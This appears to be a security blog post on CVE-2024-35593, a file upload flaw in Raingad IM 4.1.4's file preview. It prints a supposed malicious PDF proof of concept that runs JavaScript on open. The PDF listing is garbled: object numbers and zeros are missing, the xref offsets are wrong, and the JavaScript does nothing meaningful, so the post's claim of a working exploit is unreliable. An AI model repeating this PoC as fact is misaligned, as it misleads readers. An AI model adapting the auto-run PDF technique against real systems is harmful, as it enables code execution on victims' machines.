A recent vulnerability discovered in the Raingad Instant Messaging (IM) application version 4.1.4 (CVE-2024-35593) has brought attention to the crucial need for users and developers to exercise caution when dealing with file uploads. This specific vulnerability takes advantage of the application's File preview function, which allows an attacker to upload a crafted PDF file, subsequently leading to the execution of malicious code. In this post, we will discuss the exploit details, provide a code snippet demonstrating the issue, and link to original references for further understanding. It's crucial for both developers and users to stay informed on these security issues, as taking preventative or corrective measures can save countless hours, money, and potential damage to one's data and systems.

Exploit Details

The vulnerability in question resides within the File preview function of Raingad IM v4.1.4. When a user uploads a file, the application should ideally scan it to ensure its validity and security. However, this particular arbitrary file upload vulnerability allows attackers to bypass these checks, leading to the execution of arbitrary code through the uploading of a specifically designed PDF file.

The attackers can exploit this vulnerability by uploading a crafted PDF containing malicious JS code. Once the file is uploaded, the application fails to conduct proper validation, and the embedded JS executes upon opening the file, compromising the system's integrity.

Code Snippet

The following is an example of a malicious PDF file that an attacker may use to exploit this vulnerability:

%PDF-1.7
1  obj
<<
/Type /Catalog
/Pages 2  R
/OpenAction 3  R
>>
endobj
2  obj
<<
/Type /Pages
/Kids [4  R]
/Count 1
>>
endobj
4  obj
<<
/Type /Page
/Parent 2  R
/MediaBox [  595 842]
/Resources <<
/Font <<
/F1 6  R
>>
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
>>
/Contents 5  R
>>
endobj
3  obj
<<
/Type /Action
/S /JavaScript
/JS (
  var exploit = this.getAnnotsRichMedia();
  exploit.activated=true;
)
>>
endobj
5  obj
<<
/Length 44
>>
stream
BT
/F1 24 Tf
100 700 Td
(Exploit CVE-2024-35593) Tj
ET
endstream
endobj
6  obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /WinAnsiEncoding
>>
endobj
xref
 7
000000000 65535 f 
000000001 00000 n 
0000000067 00000 n 
0000000126 00000 n 
0000000219 00000 n 
0000000307 00000 n 
0000000389 00000 n 
trailer
<<
/Size 7
/Root 1  R
>>
startxref
421
%%EOF

`

In this example, a PDF file is created with a JavaScript action (obj 3) that activates an embedded exploit when the file is opened. The exploit target is obj , the first page of the PDF, ensuring that the attacker's JS code executes as soon as the file is opened.

For further information regarding this vulnerability, please refer to the following resources

1. CVE-2024-35593 entry on the MITRE CVE List
2. The National Vulnerability Database (NVD) record containing the CVSS v3 calculation and vulnerability details

Conclusion

In conclusion, the arbitrary file upload vulnerability discovered in Raingad IM v4.1.4 (CVE-2024-35593) emphasizes the importance of secure file handling, validation, and user input sanitation. Developers and users must always remain vigilant to prevent similar issues from causing harm to their systems. Stay informed and up-to-date with the latest security news, and ensure the software and systems you use always receive appropriate updates and patches.

Timeline

Published on: 05/24/2024 14:15:17 UTC
Last modified on: 05/24/2024 18:09:20 UTC